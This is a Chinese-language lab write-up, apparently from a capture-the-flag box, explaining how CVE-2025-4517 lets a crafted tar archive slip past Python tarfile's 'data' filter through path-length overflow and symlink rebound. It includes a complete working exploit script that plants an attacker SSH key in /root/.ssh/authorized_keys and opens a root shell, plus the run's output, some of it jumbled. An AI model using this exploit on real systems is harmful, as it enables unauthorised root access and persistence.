核心缺陷在于路径解析的错误处理机制: 当遇到极其复杂的嵌套路径或软链接时,如果解析展开后的路径长度超过了操作系统的最大限制(即 PATH_MAX,在 Linux 下通常是 4096 字节),系统底层会抛出 ENAMETOOLONG 等 OSError。 为了保证程序的容错性,Python 的校验代码在捕获到这类异常时,会放弃通过操作系统进行真实的路径解析,而是退化为简单的“字符串字面量拼接” 。这就导致了“安全校验逻辑看到的路径”和“操作系统最终实际写入时解析的路径”产生了致命的偏差。
第一步:构建“路径膨胀”陷阱 (Path Elongation) 脚本循环 16 次,每次创建一个长达 247 字符的真实目录(comp),并创建一个指向它的单字符软链接(a, b, c…)。当你从顶层访问 a/b/c/d... 时,虽然路径字面量很短,但在操作系统层面,它会被逐层展开为 dd.../dd.../dd...。这种指数级的展开使得真实路径长度迅速爆表,超过操作系统的 PATH_MAX 限制。
第二步:构建“反弹”软链接 (The Rebound) 脚本在上述极长路径的末端,创建了一个软链接 l。它的目标是 ../../../...(向上返回 16 层),作用是刚好将路径反弹回解压的根目录。
第三步:欺骗过滤器 (Bypassing filter="data") 脚本创建了真正的恶意软链接 escape,其目标指向我们构造的超长路径 + 反弹路径 + 目标越权路径(即 linkpath + "/../../../../../../root")。 当 filter="data" 检查 escape 时,它尝试解析目标路径。由于前面的部分在展开时触发了 ENAMETOOLONG 异常,Python 的校验逻辑退化为字符串字面量的消除。在纯字面量计算下,系统错误地抵消了 ../,误以为这个路径最终仍然在安全的解压目录内,从而放行 了 escape 软链接的创建。
第四步:完成越权写入 (Execution) 最后,脚本将恶意公钥作为普通文件写入到 escape/.ssh/authorized_keys 中。 此时,安全校验已经结束,escape 软链接已经被物理释放到了磁盘上。当 tarfile 尝试打开这个文件句柄准备写入时,操作系统内核 接管了路径解析。OS 完全听从软链接的指引,顺着 escape 成功定位到了真实的 /root/.ssh/authorized_keys,并写入了你的 SSH 公钥。由于执行环境是 sudo(root),写入畅通无阻。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 cd /tmp # First, generate SSH key if you haven't already ssh-keygen -t ed25519 -f /tmp/rootkey -N "" # Copy your public key PUBKEY=$(cat /tmp/rootkey.pub) # Create the malicious tar with CVE-2025 -4517 python3 << EXPLOIT import tarfile, os, io comp = 'd' * 247 steps = "abcdefghijklmnop" path = "" with tarfile.open("backup_1002.tar" , mode="x" ) as tar: for i in steps: a = tarfile.TarInfo(os.path .join (path , comp)) a.type = tarfile.DIRTYPE tar.addfile(a) b = tarfile.TarInfo(os.path .join (path , i)) b.type = tarfile.SYMTYPE b.linkname = comp tar.addfile(b) path = os.path .join (path , comp) linkpath = os.path .join ("/" .join (steps), "l" * 254 ) l = tarfile.TarInfo(linkpath) l.type = tarfile.SYMTYPE l.linkname = ("../" * len(steps)) tar.addfile(l) e = tarfile.TarInfo("escape" ) e .type = tarfile.SYMTYPE e .linkname = linkpath + "/../../../../../../root" tar.addfile(e ) ssh_dir = tarfile.TarInfo("escape/.ssh" ) ssh_dir.type = tarfile.DIRTYPE ssh_dir.mode = 0 o700 tar.addfile(ssh_dir) pubkey = b"${PUBKEY}\n" ak = tarfile.TarInfo("escape/.ssh/authorized_keys" ) ak.type = tarfile.REGTYPE ak.size = len(pubkey) ak.mode = 0 o600 tar.addfile(ak, fileobj=io.BytesIO(pubkey)) print("[+] Malicious tar created" ) EXPLOIT # Deploy the exploit cp /tmp/backup_1002.tar /opt/backup_clients/backups/ sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1002.tar -r restore_root # Try to SSH as root ssh -i /tmp/rootkey root@localhost cat /root/root.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 cat << 'EOF' > /tmp/pwn_root.sh #!/bin/bash # 1 . 环境清理与准备cd /tmp rm -f /tmp/rootkey /tmp/rootkey.pub /tmp/backup_1002.tarecho "[*] 正在生成攻击者 SSH 密钥对..." ssh-keygen -t ed25519 -f /tmp/rootkey -N "" -q # 获取生成的公钥内容 PUBKEY=$(cat /tmp/rootkey.pub) # 2 . 编写 Python 脚本来构造利用 CVE-2025 -4517 的恶意 Tar 包echo "[*] 正在构造 CVE-2025-4517 恶意 Tar 包..." python3 - << EXPLOIT_PYTHON import tarfile, os, iocomp = 'd' * 247 steps = "abcdefghijklmnop" path = "" pubkey_content = b "${PUBKEY}\n" with tarfile.open ("backup_1002.tar" , mode ="x" ) as tar: # 构造深度嵌套目录和符号链接对 for i in steps: # 添加目录 a = tarfile.TarInfo(os.path.join (path, comp )) a .type = tarfile.DIRTYPE tar.addfile(a ) # 添加指向该目录的符号链接 b = tarfile.TarInfo(os.path.join (path, i)) b .type = tarfile.SYMTYPE b .linkname = comp tar.addfile(b ) path = os.path.join (path, comp ) # 构造能够跳出 staging 目录的深层链接 linkpath = os.path.join ("/" .join (steps), "l" * 254 ) l = tarfile.TarInfo(linkpath) l .type = tarfile.SYMTYPE l .linkname = ("../" * len (steps)) tar.addfile(l ) # 构造最终指向 /root 的 escape 符号链接 e = tarfile.TarInfo("escape" ) e .type = tarfile.SYMTYPE e .linkname = linkpath + "/../../../../../../root" tar.addfile(e ) # 通过 escape 链接创建 .ssh 目录 ssh_dir = tarfile.TarInfo("escape/.ssh" ) ssh_dir.type = tarfile.DIRTYPE ssh_dir.mode = 0 o700 tar.addfile(ssh_dir) # 写入公钥到目标位置 ak = tarfile.TarInfo("escape/.ssh/authorized_keys" ) ak.type = tarfile.REGTYPE ak.size = len (pubkey_content) ak.mode = 0 o600 tar.addfile(ak, fileobj=io.BytesIO(pubkey_content))print ("[+] 恶意 Tar 包 'backup_1002.tar' 已成功创建" ) EXPLOIT_PYTHON # 3 . 部署并触发漏洞echo "[*] 正在将 Tar 包投递至备份目录..." cp /tmp/backup_1002.tar /opt /backup_clients/backups/echo "[*] 正在以 root 权限运行提取脚本 (触发漏洞)..." sudo /usr/local/bin/python3 /opt /backup_clients/restore_backup_clients.py -b backup_1002.tar -r restore_root # 4 . 尝试通过 SSH 登录 rootecho "[*] 验证权限中... 尝试读取 /root/root.txt" ssh -i /tmp/rootkey root@localhost -o "StrictHostKeyChecking=no" "cat /root/root.txt" # 5 . 提供交互式 root Shellecho "[*] 正在为你开启交互式 Root Shell..." ssh -i /tmp/rootkey root@localhost -o "StrictHostKeyChecking=no" EOF # 赋予执行权限并启动 chmod +x /tmp/pwn_root.sh /tmp/pwn_root.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 /tmp/pwn_root.shn_root.shlocalhost -o "StrictHostKeyChecking=no" "cat /root/root.txt" 002. tar -r restore_root [*] 正在生成攻击者 SSH 密钥对... [*] 正在构造 CVE -2025 -4517 恶意 Tar 包... [+] 恶意 Tar 包 'backup_1002.tar' 已成功创建 [*] 正在将 Tar 包投递至备份目录... [*] 正在以 root 权限运行提取脚本 (触发漏洞)... [+] Backup : backup_1002.tar [+] Staging directory: /opt/backup_clients/restored_backups/restore_root [+] Extraction completed in /opt/backup_clients/restored_backups/restore_root [*] 验证权限中... 尝试读取 /root/root.txt [*] 正在为你开启交互式 Root Shell ...Linux wingdata 6.1 .0 -42 -amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1 .159 -1 (2025 -12 -30 ) x86_64The programs included with the Debian GNU /Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc
核心缺陷:路径解析的“降级”机制 Python 的 tarfile.extractall(filter="data") 旨在防止路径穿越攻击 。但在处理极长路径时,它存在一个致命的逻辑矛盾:
1.
正常状态 :Python 会尝试调用操作系统的 API(如 realpath)来验证解压路径是否超出了目标目录 。
2.
异常触发 :当路径长度超过操作系统的限制(Linux 下 PATH_MAX 通常为 4096 字节 )时,系统 API 会抛出 ENAMETOOLONG 错误 。
3.
防御失效 :为了保证程序不崩溃,Python 的校验代码在捕获到此异常后,会**退化(Fallback)**到简单的“字符串拼接和消除”逻辑 。它不再检查真实的磁盘路径,只在内存中计算字符串字面量。
攻击构造:路径膨胀与反弹 攻击者通过精心构造的 Tar 包,利用上述机制实现了任意文件写入 :
路径膨胀 (Path Elongation) : 脚本创建了多层极深的目录(如 16 层,每层 247 字符),使得展开后的绝对路径长度远超 4096 字节 。这成功诱导 Python 放弃真实的路径校验 。
反弹软链接 (The Rebound) : 在超长路径的末端放置一个指向多级上层目录的软链接 。对于“降级”后的字符串校验逻辑,它认为 ../ 只是抵消了前面的目录名,路径依然“安全” 。
物理越权写入 : 当 sudo 运行的 Python 脚本真正执行磁盘写入时,操作系统内核会解析软链接 。由于此时已经绕过了 Python 的软件层过滤器,内核顺着软链接将文件直接写入了 /root/.ssh/authorized_keys 。